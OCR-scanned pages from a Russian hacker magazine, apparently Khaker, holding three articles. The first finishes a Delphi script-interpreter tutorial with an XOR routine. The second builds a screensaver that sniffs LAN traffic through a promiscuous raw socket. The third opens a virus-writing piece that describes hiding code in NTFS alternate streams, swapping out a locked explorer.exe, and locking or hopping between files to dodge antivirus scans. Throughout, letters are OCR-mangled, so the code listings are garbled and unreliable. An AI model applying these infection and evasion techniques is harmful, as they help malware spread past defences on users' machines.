ция ІпЗТг. Такой функции нет в ЭеІрТіі, она присутствует только в ѴізиаІ Вазіс'е и слу- 
жит для нахождения подстроки в строке. В отличие от дельфовой зТгроз, рассматри- 
ваемая функция позволяет искать подстроку не только с начала строки, но и начи- 
ная с любого символа. Это нам крайне полезно, так как мы по очереди ищем запя- 
тые в строчке скрипта, чтобы отделить все параметры скриптовой команды и зане- 
сти их в массив. Тут я не стал париться и написал аналог ѴВ'шной функции ІпЗТг на 
ЭеІрТіі. Функция получилась очень простая, так что, думаю, ты с ней без проблем 
разберешься: 



Іипсііоп Іп51г(іпсіех: іпіѳдег; зігі: зігіпд; зІг2: зігіпд): іпіѳдег; 
ѵаг 

і,Іеп, роз: іпіѳдег; 

Ьедіп 

роз:=0; 

Іеп:=ІепдІТі(зІг2); 

Тог І:=іпс1ех Іо ІепдІИ(зІгІ) сіо Ьедіп 
ІІ сору(з1г1 ,і,1еп)=з1г2 ІЬеп Ьедіп 
роз:=і; 

Ьгеак; 

епсі; 

епсі; 

гезиІі:=роз; 

епсі; 



Здесь Іпсіех — номер символа строки 5Тг1, с которого надо начинать поиск подстроки 
5Тг2. Рекомендую тебе использовать эту функцию в своих программах как лучшую, на 
мой взгляд, замену зТгроз. 

У тебя может возникнуть вопрос, для чего нужен препроцессинг параметров и занесе- 
ние их в массив. Все просто. Для удобства работы с параметрами в дальнейшем. Те- 
перь перейдем к самому интересному куску кода. Среди кучи нормальных ЭеІрТіі-ко- 
манд красуется следующий листинг: 
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[КОД ИНТЕРПРЕТАТОРА] 

ргосесіиге ЕпдіпеѴМфІгЗсгірІ: зігіпд); 
ѵаг 

// общие переменные 
зІгСоттапсІ, зІгРагатеІегз: зігіпд; 
зігРагатеІг: аггау[0..9] оі зігіпд; 
зЗрасе: іпіедег; 
і: іпіедег; 

// переменные команды «Зашифровать» 
зІгТехІ: роіпіег; 
зІг!_еп: іпіедег; 
зІгВуІе: Ьуіе; 

ІаЬеі 

епсгурі; 

Ьедіп 

// находим первый пробел в строке 
зЗрасе:=ІпЗіг(1 ,зІг5сгірІ,#32)-1 ; 

ІІ зЗрасео-1 Іітеп Ьедіп 

// все, что находится до пробела, считаем командой 
5ІгСоттапб:=сору(5ІгЗсгірІ,1 , зЗрасе); 

// остальное - параметры 

зІгРагатеІегз:=сору(зІгЗсгірІ,зЗрасе+2,ЬепдІЬ(зІгЗсгірІ)); 

// заносим параметры, записанные через запятую, в массив 
і:=0; 

ѵѵЬііе ІпЗіг(1 ,з1гРагате1егз,',')>0 сіо Ьедіп 
// ищем запятую 

зЗрасе:=ІпЗіг(1 ,5ІгРагатеІегз,',')-1 ; 

// сохраняем в массив параметр от начала строки до 
// найденной запятой 

5ІгРагатеІг[і]:=Ігіт(сору(5ІгРагатеІегз,1 , зЗрасе)); 

// отрезаем от строки зІгРагатеІегз добавленный параметр 
5ІгРагатеІегз:=сору(зІгРагатеІегз,зЗрасе+2, 
ЬепдІЬ(зІгРагатеІегз)); 

// увеличиваем счетчик параметров 

Ы+1; 

епб; 

// добавляем последний параметр отдельно, 

// так как после него вместо запятой конец строки 
5ІгРагатеІг[і]:=сору(зІгРагатеІегз,1,ІепдІЬ(зІгРагатеІегз)); 
епб еізе Ьедіп 

// если пробелов в строке нет, значит, у команды скрипта 

// нет параметров, поэтому за команду принимается 

// вся строка 

5ІгСоттапсІ:=5ІгЗспрІ; 

епб; 

// выполняем скрипт 

// сюда ты можешь добавить сколько угодно команд 
// команда вывода сообщения (требует трех параметров) 
ІІ з1гСоттапб='сообщение | ІЬеп Ьедіп 
МеззадеВох(Рогт1 .Напб1е,рсЬаг(з1гРагате1г[0]), 
рсЬаг(зІгРагатеІг[1]),ЗігТоіпІ(зІгРагатеІг[2])); 

// команда шифровки строки и вывода шифрованой 
// строки на экран 

епб еізе ІІ зІгСоттапб='зашифровать' ІЬеп Ьедіп 

5ІгТехІ:=роіпІег(зІгРагатеІг[0]); 

5ІгВуІе:=ЗігТоІпІ(зІгРагатеІг[1]); 

5ІгІ_еп :=І_епдІЬ(зІгРагатеІг[0]) ; 
азт 

тоѵ есх, зІгЬеп 
тоѵ еах, ЗІгТехІ 
бес еах 
тоѵ ЬЬ, ЗІгВуІе 
@ епсгурі: 

хог Ьуіе рІг[еах+есх],ЬЬ 
Іоор @ епсгурі 
епб; 

ЗЬоѵѵМеззаде(зІгРагатеІг[0]); 
епб еізе Ьедіп 

ЗЬоѵѵМеззаде('Іпѵаііб соттапб'); 
епб; 
епб; 



зІгТех1:=роіп1ѳг(з1гРагатеІг[0]); 

зІгВуІе:=51гТоіпІ(зІгРагатеІг[1]); 

зІгІ_еп:=І-епдіЬ(зІгРагатеІг[0]); 

азт 

тоѵ есх, зІгЬеп 
тоѵ еах, ЗІгТехІ 
сіес еах 
тоѵ Ыі, ЗІгВуІе 
@ епсгурі: 

хог Ьуіе р!г[еах+есх],ЬЬ 
Іоор @ епсгурі 
епф 

Ассемблерная вставка была использована по двум причинам: для 
удобства (на ассемблере написать простенькую шифровку намного 
проще, чем на ЭеірПІ) и для того, чтобы ты лучше смог представить пе- 
ревод скриптовых команд в понятный процессору машинный код. На- 
верное, нелишним будет рассмотреть данный код поподробнее. Нач- 
нем с регистров процессора еах, еЬх и есх. Они служат для хранения 
четырехбайтных данных. Чтобы получить доступ к двум младшим бай- 
там, например, регистра еЬх, нужно обращаться к регистру Ьх (соот- 
ветственно, для еах — ах, есх — сх). Если нам нужно использовать толь- 
ко старший или младший байт двубайтного регистра Ьх — юзаем реги- 
стры ЬЬ и Ы соответственно. В нашем конкретном случае каждый байт 
строки ксорится с байтом, переданным во втором параметре скрипто- 
вой командой, потому для хранения этой команды мы используем одно- 
байтный регистр ЬЬ. (Эепсгурі — это метка. Собака перед именем мет- 
ки ставится для того, чтобы указать компилятору, что метка локальная, а 
не глобальная для всей процедуры нашего интерпретатора. Коман- 
дам ассемблера передаются два операнда или значение и операнд. 
Команда МОѴ перемещает в регистр, являющийся первым операн- 
дом, содержащиеся во втором операнде данные. Данные во втором 
операнде должны быть представлены либо регистром, либо числом, 
переданным напрямую. Главное, о чем надо помнить: размер данных 
должен соответствовать или быть меньше размера регистра. Команда 
ЭЕС имеет дело с одним операндом, который должен быть предста- 
влен исключительно в виде регистра. Эта команда уменьшает число, 
записанное в передаваемом регистре, на 1 . Последовательность епс- 
гурі и Іоор епсгурі представляет собой цикл. Счетчик цикла записывает- 
ся в регистр есх. Команда хог Ьуіе р/г(еах+есх],Ь/т означает, что нужно 
отксерить байт по адресу в памяти, равному еах+есх, с байтом, кото- 
рый содержится в регистре ЬЬ. Так как есх содержит длину строчки, а 
еах — адрес этой строчки в памяти, то, учитывая автоматическое умень- 
шение есх (так как этот регистр является счетчиком цикла), можно 
определить, что строчка шифруется с конца. Так оно и есть — процес- 
сору так проще. Мы, конечно, можем добавить пару лишних команд 
чтобы шифровка производилась с начала строки, но зачем усложнять 
программу и тратить на это лишние таісгы работы процессора? 
Теперь, когда, думаю, ты во всем алгоритме интерпретатора ра- 
зобрался, добавь на форму Мето и кнопку. В Мето мы будем 
вводить команды движку, а при нажатии на кнопку они будут ци- 
клично выполняться движком интерпретатора. Собственно обра- 
ботчик нажатия на кнопку будет выглядеть так: 

ргосесіиге ТРоггтИ .Виііопі СІіск(5епсІег: ТОЬ]ес1); 
ѵаг 

і: іпіедег: 

Ьедіп 

Тог і:=0 Іо Метоі .Ыпез.СоипМ сіо Ьедіп 
ЕпдіпеѴМ(Мето1 .1_іпез.51гіпдз[і]); // вызываем интерпретатор 
епсі; 
ѳпсі; 

В том исходнике, что лежит на диске, в Мето уже введена пара ко- 
манд, чтобы ты мог сразу протестировать движок. Если есть желание, 
добавь в него побольше команд, возвращение командами результа- 
та, введи макросы, переменные и кучу всего интересного. Это все 
значительно расширит возможности нашей программы. Также ты мо- 
жешь придумать другой формат команд, какой-нибудь сложный и не- 
понятный, для того чтобы писать свои программы целиком в нем и что- 
бы ниісто, даже самый хитрый крэкер, в них бы не разобрался. 

[заключение] Надеюсь, у тебя не осталось вопросов по интер- 
претированию и принципам защиты программ этим методом. 
Если же какие-то вопросы возникли, а статьи в Сети не дали тебе 
достойного ответа — пиши мне, я с удовольствием постараюсь 
тебе помочь. На этом все, удачного интерпретирования © 
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Если хочешь, чтобы вместо 
ужасного имени файла в 
настройках экрана твой 
хранитель отображался 
как-нибудь иначе, сделай в 
своей программе гезоигсе- 
секцию и добавь туда стро- 
ку с ѵаІие=1. После этого 
отображаться будет имен- 
но она. 




Чтобы консоль запускалась 
не в окне, а в полноэкран- 
ном режиме, тебе надо 
вручную или программно 
изменить в реестре ключ 
нкЕУ_сиишт_изЕП\соп 
зоІе\ЕиІІзсгееп с нуля на 
единичку. И все будет чи- 
ки-пики. 




Скринсейвер 

«Нюхач» 

ВИРУСЫ, ТРОЯНЫ, ШПИОНЫ, БОТЫ, БОТНЕТЫ - 
ЭТО ВСЕ, БЕЗУСЛОВНО, ИНТЕРЕСНО И БЕЗУМ- 
НО ПОЛЕЗНО. НО ХОЧЕТСЯ ЧЕГО-НИБУДЬ КРА- 
СИВОГО, ДЛЯ ДУШИ. ЧЕГО-НИБУДЬ, ЧЕМ МОЖ- 
НО БЫЛО БЫ ПОХВАСТАТЬ ПЕРЕД ПОДРУЖКА- 
МИ. НЕТ, ДОРОГОЙ, Я НЕ О СТЕКОВОМ ПОЛИ- 
МОРФИЗМЕ, ХОТЯ ЭТА ИДЕЯ ТОЖЕ НИЧЕГО. 



Пишем собственный хранитель экрана 

По-моему, нет ничего более мирного на всем компьютерном 
свете, чем хранитель экрана. Тихо-спокойно сидит в системе, 
никого не трогает, загружается и жрет ресурсы, только когда 
пользователь дрыхнет, — в общем, паинька. У меня слова «хра- 
нитель экрана» ассоциируются с небезызвестной бегущей 
строкой и ломаными линиями. Наверняка, ты уже испытал все 
«прелести» этих виндовых заставочек. Имхо, больший идиотизм 
сложно придумать. Это же надо — куча ломаных на черном фо- 
не! Здорово! А как информативно! Или бегущая строка — ее 
можно сделать курсивом или болдом. Я уже вижу заголовки га- 
зет: «Человек скончался на рабочем месте от просмотра бегу- 
щей строки ѴѴІпсІо\л/з». Нет, так дело не пойдет. Надо срочно 
что-то предпринять. 

Естественно, разбивание монитора в момент появления храните- 
ля — не самый оптимальный способ сделать просмотр приятным 
или даже полезным. И погоди лезть в настройки экрана отклю- 
чать вообще все заставки. Мы поступим хитрее. Возьмем и напи- 
шем свой хранитель, да такой, чтобы полностью удовлетворял 
потребностям среднестатистического хакера. То есть нашим. 



В ЭТОМ МАТЕРИАЛЕ Я ХОЧУ ПОЗНАКОМИТЬ 



ТЕБЯ С РАНЕЕ НЕВИДАННОЙ ОТРАСЛЬЮ КО- 
ДИНГА — С МИРНЫМ ПРОГРАММИРОВАНИЕМ. 
БЕЗ УБИЙСТВ ФАЙРВОЛОВ, ОБХОДОВ АНТИВИ- 
РУСОВ, НУЛЕВОГО КОЛЬЦА И ПРОЧЕЙ БЕСОВ- 
ЩИНЫ. ЗАТО С КОНСОЛЬЮ НА ВЕСЬ ЭКРАН, 
ВАѴѴ-СОКЕТ АМИ И КУЧЕЙ ЯРКИХ ЦВЕТОВ I 

Николай Андреев (догІит@геаІ. хакер. гы) 



[что такое хранитель экрана?] Ну конечно, ты знаешь, что такое 
хранитель экрана. Я имею в виду, с программистской, извра- 
щенной точки зрения. По правде говоря, ничего страшного и 
неожиданного. Скринсейвер — это самое обычное приложе- 
ние, каких сотни установлено у тебя на компьютере. Отличает- 
ся от общей массы он лишь своим расширением *.зсг и хитрым 
способом запуска. Хотя хитрым этот способ можно назвать 
Ілишь с очень большой натяжкой. Он простой и древний, как 










„Чладке «Зсгееп заѵег» ты жмешь «ЗеШпд», 
(хранителю передается именно этот клю- 
чик. Ну и хрен с ним. 

/А — самый ненужный нам ключик. Служит 
для открытия окошка с предложением 
ввести пароль. Если когда-нибудь захо- 
В чешь запаролить заставку, придется 
юзать его. 















[здесь надо поменять один ключик, чтобы наш 
хранитель работал в полноэкранном режиме, а не 
в оконном] 



знать, в каком режиме выполняться. И 
сотрудники М3 не придумали ничего луч- 
ше, как получать информацию о типе за- 
пуска из командной строки. К примеру, 
когда система запускает скринсейвер 
для нормальной полноэкранной работы, 
она передает ему в параметрах команд- 
ной строки ключ /3. Хранитель считывает 
ключ и запускает не окно для редактиро- 
вания настроек, не программу для 

жим, ничего больше. Ключей, как ты уже 
догадался, хранители экрана понимают 
несколько: 

/3 — для нормального запуска 
/Р — для запуска в режиме предваритель- 
ного просмотра. Например, захочешь ты 
1 сделать для скринсейвера хорошенькую 
превьюшку — придется этот ключик обра- 



батывать. При этом придется учесть, что 
ѵ сразу после ключа в командной строке 

Ч котором и надо будет рисовать минико- 
пию заставки. 

/С — для редактирования настроек хра- 



нителя. Когда в свойствах экрана в зак- 




Все эти ключики для корректной работы 
хранителя придется парсить. Хорошо, что 
это не слишком большой геморрой, а то я 
забил бы на написание этой статьи и отп- 
равился бы с друзьями пить персиковый 
сок в ближайший бар. 

Ну что, теория, вроде бы, ясна как нату- 
ральный логарифм, поэтому пора присту- 
пить к разработке нашего хранителя коль- 
* ца... тьфу, экрана. 

■ 

[хранитель «Нюхач»] Я долго размышлял, 
какую визуализацию сделать. Она долж- 
на быть приятной внешне, должна нести 
некоторую полезную информацию, а 
еще она должна быть хакерской. Вот ка- 
кие требования я выдвинул к графичес- 
кой части нашего хранителя. Надо приз- 
нать, задачу себе я поставил не из лег- 
ких. Думал вначале: пускай заставка ка- 
кие-нибудь гзз-блоги показывает и прок- 
ручивает. Но это не хакерская идея. По- 
том вспомнил о хакерских гзз-блогах, но 
они, честно говоря, не очень информа- 
тивны (обновляются редко). В процессе 
раздумий не один пакет персикового со- 
ка выпил. В итоге остановился я на ло- 
кальном снифере. Пусть наш скринсей- 
вер все пакеты из локалки собирает и на 
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экран нам выводит. Для наглядности в 
разные цвета пакеты разных типов раск- 
рашивает. Красиво и информативно! Вот, 
скажем, нет никакой деятельности на 
компе, а пакеты от тебя идут — можно так 
трояна засечь. Или, скажем, хочешь ты 
посмотреть, что в сети про тебя говорят 
плохого — запустил заставочку и читай — 
не хочу ;). 

[кодим скринсейвер] Так как хранитель 
экрана — это самое обычное приложе- 
ние, создавай в студии самый обычный 
проект \л/іп32 аррІісаТіоп, В нем мы и будем 
дальше вершить судьбы мира... тьфу, 
программу писать. 

Первое, что прога должна делать, — опре- 
делять, в каком режиме она запущена. 
Для этого ей надо взять командную строку 
и посмотреть, что система ей там начири- 
кала. Строку можно получить прямиком из 
параметров таіп-функции, К примеру, из 
третьего параметра ѴѴІпМаіп или из мас- 
сива — второго параметра обычного кон- 
сольного таіп'а. В крайнем случае мож- 
но воспользоваться функцией 
Ѳе1СоттапсІІ_іпе. 

Первый символ в строке при корректном 
запуске должен быть «/». Вторым, соответ- 
ственно, будет символ, определяющий 
режим запуска. В коде разбор командной 
строки выглядит следующим образом: 



как получать пакеты, я сейчас покажу. 
Сложного в этом ничего нет, техника изве- 
стная, и, возможно, мы о ней уже писали. 



зѵѵіісН (*СЬагЕІррег(С!іагМех1(соттапсІІІпе))) 



{ 



сазе 'С: 

// настройки 

МеззадѳВох(0, "Хрен", "Настройки ", 0); 
геіигп 0; 
сазе '5': 

// показать 
Ьгеак; 
йеіаиіі: 

// пасс или превью 
геГигп 0; 



} 



Если нас просят показать настройки, мы 
ругаемся с помощью МеззадеВох и выхо- 
дим. Если просят запуститься в полноэк- 
ранном режиме — просто вылезаем из 
блока зѵѵііюіп и продолжаем работать. Ес- 
ли еще чего-нибудь просят — пусть на 
геЕигп 0 идут. 

По-хорошему, программе перед стартом 
надо создавать тиіех, чтобы не допустить 
двух копий программы в памяти. Если ты 
заглянешь на диск, то убедишься — так у 
меня в проге и делается. 

Сразу после блока з\л/і+сІп можно присту- 
пать к ловле пакетов и выводу их на экран. 
Я решил выводить всю информацию на 
консоль, растянутую на полный экран. 
Смотрится обалденно, особенно если 
раскрасить пакеты в разные цвета. Ну а 






[кодим снифер] Для того чтобы иметь воз- 
можность слушать трафик в \л/іпсіо\л/5, нео- 
бязательно писать хитрые драйверы-фильт- 
ры или учиться работать с \А/іпРСар. Сни- 
фер можно написать на базе самых обыч- 
ных виндовых сокетов. Достаточно всего 
лишь создать РАѴѴ-сокет и перевести сете- 
вую карточку в неразборчивый режим. 
После этого туда будут валиться все паке- 
ты, которые летают через твою карточку. У 
меня, кстати, в роли сетевухи выступила ѴѴІ- 
Еі-карточка — и ничего, снифер разницы не 
почувствовал. 

После активации библиотеки ѴѴІпЗоск с 
помощью функции МЗАЗ+агЕир сырой со- 
кет можно создать вот так: 






з = зоскѳі(АРЛЧЕТ, 50СК_РІАѴѴ, ІРРВОТСНР); 



деІІюзІпате(пате, зІ 2 ео[(пате)); 
рНе = де(1тоз(Ьупате( пате ); 



2ѳгоМетогу( &за, зігео?(за) ); 
за.зіп_[атіІу = АР_ІМЕТ; 
за.зіп_ас)сІг.з_асісІг = ((зігисі Іп_ас1с1г *)рЬѳ-> 
Еі_асІсІг_ІізІ[0])->з_ас!сІг; 



ЬіпсІ(з, (ЗОСКАОРП *)&за, зІ 2 еоІ(ЗОСКАРОП)); 



Затем нам надо перевести карточку при- 
менительно к нашему сокету в неразбор- 
чивый режим вот такой строчкой кода: 
іосИзоскеКз, 5ІО_РСѴАЕІ_, &Пад). Сокет з 
после этого будет использоваться всякий 
раз, когда мы захотим получить пакет, про- 
ходящий через сетевуху. 

После всех этих манипуляций можно 
считать, что снифер готов к работе. Зна- 
чит, нам остается до последней капли 
крови, а точнее, до первого движения 
мышкой принимать с помощью функции 
гесѵ все пакеты в буфер, а буфер выво- 
дить на экран. 



[консоль консоли рознь] 

Чтобы вывести полученный с помощью гесѵ 
пакет на консоль, мы должны вначале ее 
создать. Ведь у нас было обычное приложе- 
ние, а не консольное, что абсолютно пра- 
вильно: консольное — сплошные тормоза. 
Чтобы в приложении создать консоль надо 
воспользоваться функцией АІІосСопзоІе. А 
так как у нас она должна быть активным ок- 
ном, а не где-нибудь на бэкграунде, нам на- 
до переместить фокус на нее с помощью 
функции ЗеІАсИѵеѴѴІпсІоѵѵз в связке с 
беЕСопзоІеѴѴІпсІоѵѵ. Возможно, у тебя воз- 
никнет вопрос, как пользоваться подобной 
консолью и выводить на нее текст? ЕІа са- 
мом деле очень просто. 
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Все аспекты цифрового видео: 
от подбора аппаратуры и 
съемки до монтажа и 
публикации в интернете! 



Теория цифрового видео 
Зидеоарт 

Профессиональная видеокарта 
Плагины для обработки видео 
Сравнение видеокодеков 
Спецэффекты в фильмах 
АсіоЬе Ргегпіеге 
Как уделать Спилберга 
Свет для видео 
Публикуем видео в интернете 
Адекватное Еіудио 
І/Інтервью с профи 
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ІтЗМоиІ = 6е(54сІНапсІІѳ(5ТО_ОІІТРІГМ-ІАІ\ГОІЕ); 

Достаточно получить хэндл стандартного вывода и обращаться с ним, 
как с файлом. К примеру, вывести на экран текст можно той же функци- 
ей, которую ты используешь обычно для записи на диск, — ѴѴіі+еРІІе. По- 
добный вывод несколько сложнее, чем обычные ргіпИ или соиТ, но в ра- 
зы быстрее. Это будет заметно, если через карточку полетит много па- 
кетов. 

Чтобы вывести пакет, который отнюдь не обязательно содержит текст, я 
написал небольшую функцию, которая преобразует любой буфер в три 
колонки, с адресом, шестнадцатеричным и символьным представления- 
ми. Все это дело неплохо смотрится на экране и напоминает какой-ни- 
будь НЕХ-вьювер. Функция работает очень просто, она манипулирует 
\л/зргіп1'1 = с форматированным выводом %02Х, ты без проблем с ней разбе- 
решься. 

Помнится, я обещал сделать цветной вывод. Это всего одна строка. Функция 
ЗеІСопзоІеТехІАМтіІэиІ'е установит для консоли, указанной в первом ее пара- 
метре, текущий цвет вывода. К примеру, если я хочу, чтобы текст был ярко зе- 
леным, я должен написать: 

ЗеІСопзоІеТ ехІАйгіЬиІефЗІсІоиІ, РОПЕѲВОШО_аВЕЕМІРОВЕѲПОиМО^ТЕМЗІТѴ); 

Префикс РОРЕСГЮІІІХЮ означает, что мы меняем цвет текста. Если захотим по- 
_ менять цвет фона, напишем вместо этого префикса ВАСКСІЮІІЫО. Список 
всех цветов и опций можно взять в файле \л/іпсоп.Іі. 

Самым наглядным будет раскрасить пакеты в зависимости от протокола, опи- 
санного в заголовке пакета. Для того чтобы его получить, надо сначала сооб- 
щить нашему компилятору, что указатель на буфер со ВСЕМ пакетом — это 
указатель на структуру ІРНеасІег, то есть заголовок ІР-пакета. 

ІРРІѳасІег* Мг = (ІРНеасІег *)ВиІІег; 

В этой структуре член іррцргоіосоі — это как раз то, что мы ищем. В зависимос- 
ти от того, будет ли он равен ІРРІЮТО_ТСР (ТСР-протокол), ІРРІЮТО_ІЮР (ІЮР- 
протокол), ІРРРОТО_ІСМР или ІРРРОТО_ІСМР, мы будем выводить заголовки па- 
“^Пкетов красным, зеленым, синим или бордовым цветом. После вывода очеред- 

І ного пакета надо делать небольшую паузу функцией ЗІеер, чтобы при необхо- 
димости пакет можно было успеть прочесть. 



[движения мышки] Чуть не забыл о самом главном. Наша программа ведь долж- 
на отрубаться, если вдруг мышь двинется, а то иначе какой это скринсейвер? 

• Следить за состоянием мышки, в принципе, можно с помощью глобального ху- 
ка, который устанавливается с помощью функции 5е1АЛ/іпсІо\л/$НоокЕх, но по мнв| 
это маразм. Лишнюю ЭИ придется писать, да и вообще геморроя много. Зна- 
чительно проще при запуске запомнить текущие координаты курсора с по- 
мощью ѲеІСигзогРоз, а потом раз в какое-то время в отдельной нити проверять 
с помощью этой же функции, не шелохнулась ли мышь. 

РѴѴОРЮ ѴѴІІЧАРІ СИескРОЗ (І.РѴОЮ рРагат) { 

\л/Ы1е (Ігие) { 

31еер(500); 

І_РРОІІ\ІТ рТезІІ = (І-РРОІМТ)рРагат; 

РСШТ рТез(2; 

ѲеІСигзогРоз(&рТ ез(2); 

ІІ (рТез(1->х != рТѳз(2.х) { 

СІозеНапсІІѳ(ІтМиІех); 

ЕхііРгосезз(О); 







} 



} 

геіигп 0; 



} 





Вот эту функцию надо запустить в отдельной нити с помощью Сгеа+еТІтгеасІ, пе- 
редав ей в параметре указатель на структуру с текущими координатами кур- 
сора. После этого любое, даже самое маленькое перемещение мышки отру- 
бит нашу программу. 

Конечно, надо было бы и клавиши обрабатывать, мол, нажмет — отруб- 
люсь. Но лень! Поэтому, если тебе понравилась идея подобного хранителя 
экрана и ты разобрался во всех премудростях его разработки, у тебя есть 
шанс помочь мне и улучшить это создание извращенной программерской 
мысли. 

[сосіе оѵег] В общей сложности получится примерно то, что аккуратно лежит 
на диске вместе с другими исходниками из рубрики «Кодинг». Скопируй полу- 
чившуюся программу в \л/іпсІо\л/з\зуз1'егп32 с расширением *.зсг, залезь в наст- 
ройки экрана и укажи там наше детище. Жди несколько минут и можешь любо- 
ваться новым хакерским хранителем экрана. На этой радостной ноте я убегаюі 
пить сок. Удачного компилирования, пока © 
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Следует отдавать себе от- 
чет в том, что эта статья 
была написана и с ключ и - 
/ | \ тельно в исследователь- 
ских целях и любые твои 
действия, нарушающие за- 
коны страны, в которой ты 
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.ехе в заложниках 

КОНСТРУИРОВАНИЕ ВИРУСОВ — отличный 
СТИМУЛ К ИЗУЧЕНИЮ АССЕМБЛЕРА! 

И ХОТЯ ВИРУС, В ПРИНЦИПЕ, МОЖНО НАПИ- 
САТЬ И НА БЭЙСИКЕ, ЭТО БУДЕТ НЕПРАВИЛЬ- 
НЫЙ ВИРУС! НАСТОЯЩИЕ ХАКЕРЫ ПИШУТ 
ТОЛЬКО НА РАЗМ'Е И ТОЛЬКО ПОД РАІІЧ/НУ- 
РОСВІЗУ ИЛИ, НА ХУДОЙ КОНЕЦ, ПОД ГРУППУ 
АВЗЦ, ЗАПРЕЩЕННУЮ В БОЛЬШИНСТВЕ 
СТРАН ЕВРОПЫ. ОК! ЗАТАРИВАЕМСЯ ВСЕМ 
НЕОБХОДИМЫМ, НАДЕВАЕМ НАУШНИКИ, ЗА- 
ПУСКАЕМ МЦІ_ТІ-ЕЭІТ ИЛИ ТАЗМЕЭ И ПОГРУ- 
ЖАЕМСЯ В МРАЧНЫЙ СНЕМІСАЬ ЕХСВЕМЕІЧТ 
КИБЕРНЕТИЧЕСКОГО МИРА, РЯДЫ КОТОРОГО 
СКОРО ПОПОЛНЯТСЯ ЕЩЕ ОДНИМ ЗЛОБНЫМ 
СОЗДАНИЕМ I Крис Касперски ака мыщъх (РгееВ5Э@зт1р.ги) 



Основы создания самоходного 
программного обеспечения 

[о вирусах и потоках] Внедрение кода вируса в исполняемый 
файл — достаточно сложный и мучительный процесс. Как мини- 
мум, для этого требуется изучить формат РЕ-файла и освоить де- 
сятки АРІ-функций. Такими темпами мы не накодим вируса и за се- 
зон, а хочется получить его прямо здесь и сейчас (накодим-нако- 
дим, в ближайших номерах читай о создании настоящего РЕ-виру- 
са. — Прим. Горлума). Но хакеры мы или нет? Файловая система 
КИРЗ (основная файловая система \А/іпОо\л/з ХР) содержит такую 
фичу, как потоки (зітеат), они же атрибуты. Внутри одного файла 
может существовать несколько независимых потоков данных. 

Имя потока отделяется от имени файла знаком «:», например 
ту_ТІІе:з1теат. Основное тело файла при этом хранится в безы- 
мянном потоке. Как ты уже, наверное, понял, мы также можем 
создавать и свои потоки. Заходим в ЕАР, давим <5ГііГГ-Р4>, вводим 
«хххіууу» и скармливаем редактору какое-нибудь восклицание, 
например «Банзай!». Выходим из редактора и видим файл ххх с 
нулевой длиной. Как это так с нулевой длиной?! А где наше вос- 
клицание?! Жмем <Б4> и... ни хрена не видим. Все правильно! 
Если не указано имя потока, файловая система отображает ос- 
новной поток, а он у нас пустой. Размер остальных потоков не 
отображается, и чтобы дотянуться до их содержимого, имя пото- 
ка должно быть указано явно. Вводим «тоге < хххіууу» — и вот он, 
наш «банзай». 

Будем мыслить так: раз создание дополнительных потоков не изме- 
няет видимых размеров файла, наше пребывание в нем, скорее 




полнительно», а в ней галочка «Сохранять файловые потоки». 
Она позволит заархивировать не только основной поток, но и 
все дополнительные. 

Есть и другая проблема. ѴѴІпсІо\л/$ блокирует доступ ко всем от- 
крытым файлам и при попытке внедрения в ехріогег.ехе или (іге- 
(Ъх.ехе обламывает нас по полной программе. Печально. Но вы- 
ход есть. Заблокированный файл нельзя открыть, но можно пере- 
именовать. Берем ехріогег.ехе, переименовываем его, напри- 
мер, в досІо\л/п, создаем новый файл с точно таким же именем, в 
основном потоке которого размещаем свое вирусное тело, а 
прежний ехріогег.ехе копируем в дополнительный поток. При по- 
следующих запусках системы управление получит наш ехріо- 
гег.ехе, и досІо\л/п можно будет удалить. А можно и не удалять. 
Правда, тогда он может привлечь внимание бдительного юзера 
или антивирусного ревизора. 

Кстати, о ревизорах. Внедриться в файл — это только половина 
дела. Это и орангутанг сможет. Еще необходимо придумать, как 
обезвредить всевозможные контролирующие органы типа анти- 
вирусов и сторожей. Нет ничего проще! Достаточно заблокиро- 
вать файл сразу же после запуска и удерживать его в этом со- 
стоянии на протяжении всего сеанса работы с ѴѴІпсІо\л/з вплоть 
до перезагрузки. Антивирусы просто не смогут открыть файл, а 
значит, не смогут обнаружить и факт его изменения. Существует 
множество путей блокировки — от СгеаТеРІІе со сброшенным 
флагом сІ\л/5ІіагесІМосІе до І_оскРІІе/І_оскРІІеЕх. Подробнее об 
этом можно прочитать в РІаІТогт ЗЭК. 

Основная ошибка большинства вирусов состоит в том, что, од- 
нажды внедрившись в файл, они сидят и покорно ждут, пока не 
придет антивирус и не сотрет их. А ведь сканирование совре- 
менных винчестеров занимает очень значительное время — 
это не пара минут. В каждый момент антивирус проверяет все- 
го один файл, и если вирус ведет кочевую жизнь, мигрируя от 
одного файла к другому, шансы на его обнаружение стреми- 
тельно уменьшаются. 

Мы можем действовать так: внедряемся в файл, >кдем 30 секунд, 
удаляем свое тело из файла, тут же внедряясь в другой. Чем коро- 
че период ожидания, тем выше вероятность пройти мимо антиви- 
руса незамеченным, но и выше дисковая активность. А регуляр- 
ное мигание красной лампочки без видимых причин сразу же на- 
сторожит опытных пользователей, поэтому приходится хитрить. 
Можно, например, вести мониторинг дисковой активности, осу- 
ществляя заражение, только когда происходит обращение к ка- 
кому-нибудь файлу. В этом нам поможет файловый монитор Мар- 
ка Руссиновича ( ѵтл/ѵ.зузіетіпіѳгпаіз.сот ), который легко дора- 
ботать под наши нужды. 




На диске, прилагающемся к 
журналу, ты сможешь найти 
полный исходный код про- 
граммы, рассмотренной в 
статье, а также компилятор 
ЕА5М последней на момент 
написания статьи версии. 




Если тебе хочется больше 
информации по разработ- 
ке вирусов, смело шагай 
на ЫІрУ/ѵх.пеІІцх.огд. Это 
гигантская коллекция ви- 
русов и учебников по их 
написанию. 



[исходный код вируса] Естественные языки (вроде русского ма- 
терного или английского технического) с описанием компью- 
терных алгоритмов практически никогда не справляются. Уж 
слишком они неоднозначны и взаимно противоречивы. Поэтому 
во избежание недоразумений продублируем описание алго- 
ритма на языке ассемблера, лучшего языка для кодинга виру- 
сов и другой нечисти. 



всего, останется незамеченным. Конечно, чтобы передать упра- 
вление на свой поток, необходимо модифицировать основной по- 
ток. Контрольная сумма при этом неизбежно изменится, что вряд 
ли понравится антивирусным сторожам. Ну со сторожами мы еще 
разберемся, а пока определимся со стратегией внедрения. 

[алгоритм работы вируса] Закрой руководство по РЕ-формату. 
Оно нам не понадобится. Мы ведь хакеры, а не штангисты ка- 
кие-нибудь (штанга — ось, два блина... ось, два блина... ээх, 
не запомнить... — Прим. Лозовского) (Лозовский, ты что имел в 
виду? — Прим. Бублика) (Ну вот, а я думала. Бублик мне объяс- 
нит =( — Прим. татаКагІо) (Вы что хотите, чтоб я эту чушь как-то 
по-особенному выделил? 8) — Прим. Васина), Действовать мы 
